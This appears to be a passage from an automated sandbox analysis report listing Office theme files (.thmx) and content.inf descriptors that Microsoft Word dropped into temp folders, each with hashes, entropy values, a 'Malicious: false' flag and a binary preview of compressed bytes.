Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.a.l.l.a.x...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD650B.tmp\Quotable.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Local\Temp\TCD650B.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5323495192404475
Encrypted:	false
SSDEEP:	6:Q+sxnxUXhduDARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyxdumymD0wbnKNAH/lMz1
MD5:	BD6B5A98CA4E6C5DBA57C5AD167EDD00
SHA1:	CCFF7F635B31D12707DC0AC6D1191AB5C4760107
SHA-256:	F22248FE60A55B6C7C1EB31908FAB7726813090DE887316791605714E6E3CEF7
SHA-512:	A178299461015970AF23BA3D10E43FCA5A6FB23262B0DD0C5DDE01D338B4959F222FD2DC2CC5E3815A69FDDCC3B6B4CB8EE6EC0883CE46093C6A59FF2B042BC1
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .Q.u.o.t.a.b.l.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD654B.tmp\Wood_Type.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Local\Temp\TCD654B.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.5552837910707304
Encrypted:	false
SSDEEP:	6:Q+sxnxUXtLARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygymD0wbnKNAH/lMz1
MD5:	5728F26DF04D174DE9BDFF51D0668E2A
SHA1:	C998DF970655E4AF9C270CC85901A563CFDBCC22
SHA-256:	979DAFD61C23C185830AA3D771EDDC897BEE87587251B84F61776E720ACF9840
SHA-512:	491B36AC6D4749F7448B9A3A6E6465E8D97FB30F33EF5019AF65660E98F4570711EFF5FC31CBB8414AD9355029610E6F93509BC4B2FB6EA79C7CB09069DE7362
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .W.o.o.d._.T.y.p.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD6638.tmp\Basis.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD6638.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5361139545278144
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeMWMluRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnycMlMymD0wbnKNAH/lMz1
MD5:	133D126F0DE2CC4B29ECE38194983265
SHA1:	D8D701298D7949BE6235493925026ED405290D43
SHA-256:	08485EBF168364D846C6FD55CD9089FE2090D1EE9D1A27C1812E1247B9005E68
SHA-512:	75D7322BE8A5EF05CAA48B754036A7A6C56399F17B1401F3F501DA5F32B60C1519F2981043A773A31458C3D9E1EF230EC60C9A60CAC6D52FFE16147E2E0A9830
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.s.i.s...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD6698.tmp\Berlin.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD6698.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5270134268591966
Encrypted:	false
SSDEEP:	6:Q+sxnxUXa3Y1kRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyt1mymD0wbnKNAH/lMz1
MD5:	327DA4A5C757C0F1449976BE82653129
SHA1:	CF74ECDF94B4A8FD4C227313C8606FD53B8EEA71
SHA-256:	341BABD413AA5E8F0A921AC309A8C760A4E9BA9CFF3CAD3FB2DD9DF70FD257A6
SHA-512:	9184C3FB989BB271B4B3CDBFEFC47EA8ABEB12B8904EE89797CC9823F33952BD620C061885A5C11BBC1BD3978C4B32EE806418F3F21DA74F1D2DB9817F6E167E
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.e.r.l.i.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD69F6.tmp\Savon.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Local\Temp\TCD69F6.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5364757859412563
Encrypted:	false
SSDEEP:	6:Q+sxnxUXARkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnywMymD0wbnKNAH/lMz1
MD5:	CD465E8DA15E26569897213CA9F6BC9C
SHA1:	9EA9B5E6C9B7BF72A777A21EC17FD82BC4386D4C
SHA-256:	D4109317C2DBA1D7A94FC1A4B23FA51F4D0FC8E1D9433697AAFA72E335192610
SHA-512:	869A42679F96414FE01FE1D79AF7B33A0C9B598B393E57E0E4D94D68A4F2107EC58B63A532702DA96A1F2F20CE72E6E08125B38745CD960DF62FE539646EDD8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.a.v.o.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD6A07.tmp\Gallery.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Local\Temp\TCD6A07.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5301133500353727
Encrypted:	false
SSDEEP:	6:Q+sxnxUXp2pRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyZ2vymD0wbnKNAH/lMz1
MD5:	1C5D58A5ED3B40486BC22B254D17D1DD
SHA1:	69B8BB7B0112B37B9B5F9ADA83D11FBC99FEC80A
SHA-256:	EBE031C340F04BB0235FE62C5A675CF65C5CC8CE908F4621A4F5D7EE85F83055
SHA-512:	4736E4F26C6FAAB47718945BA54BD841FE8EF61F0DBA927E5C4488593757DBF09689ABC387A8A44F7C74AA69BA89BEE8EA55C87999898FEFEB232B1BA8CC7086
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .G.a.l.l.e.r.y...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD6AF3.tmp\Circuit.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD6AF3.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5286004619027067
Encrypted:	false
SSDEEP:	6:Q+sxnxUXOzXkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6WymD0wbnKNAH/lMz1
MD5:	40FF521ED2BA1B015F17F0B0E5D95068
SHA1:	0F29C084311084B8FDFE67855884D8EB60BDE1A6
SHA-256:	CC3575BA195F0F271FFEBA6F6634BC9A2CF5F3BE448F58DBC002907D7C81CBBB
SHA-512:	9507E6145417AC730C284E58DC6B2063719400B395615C40D7885F78F57D55B251CB9C954D573CB8B6F073E4CEA82C0525AE90DEC68251C76A6F1B03FD9943C0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.u.i.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD6C1E.tmp\Droplet.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD6C1E.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.528155916440219
Encrypted:	false
SSDEEP:	6:Q+sxnxUXcmlDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyMmloymD0wbnKNAH/lMz1
MD5:	AA7B919B21FD42C457948DE1E2988CB3
SHA1:	19DA49CF5540E5840E95F4E722B54D44F3154E04
SHA-256:	5FFF5F1EC1686C138192317D5A67E22A6B02E5AAE89D73D4B19A492C2F5BE2F9
SHA-512:	01D27377942F69A0F2FE240DD73A1F97BB915E19D3D716EE4296C6EF8D8933C80E4E0C02F6C9FA72E531246713364190A2F67F43EDBE12826A1529BC2A629B00
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.r.o.p.l.e.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD6D39.tmp\Slate.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.n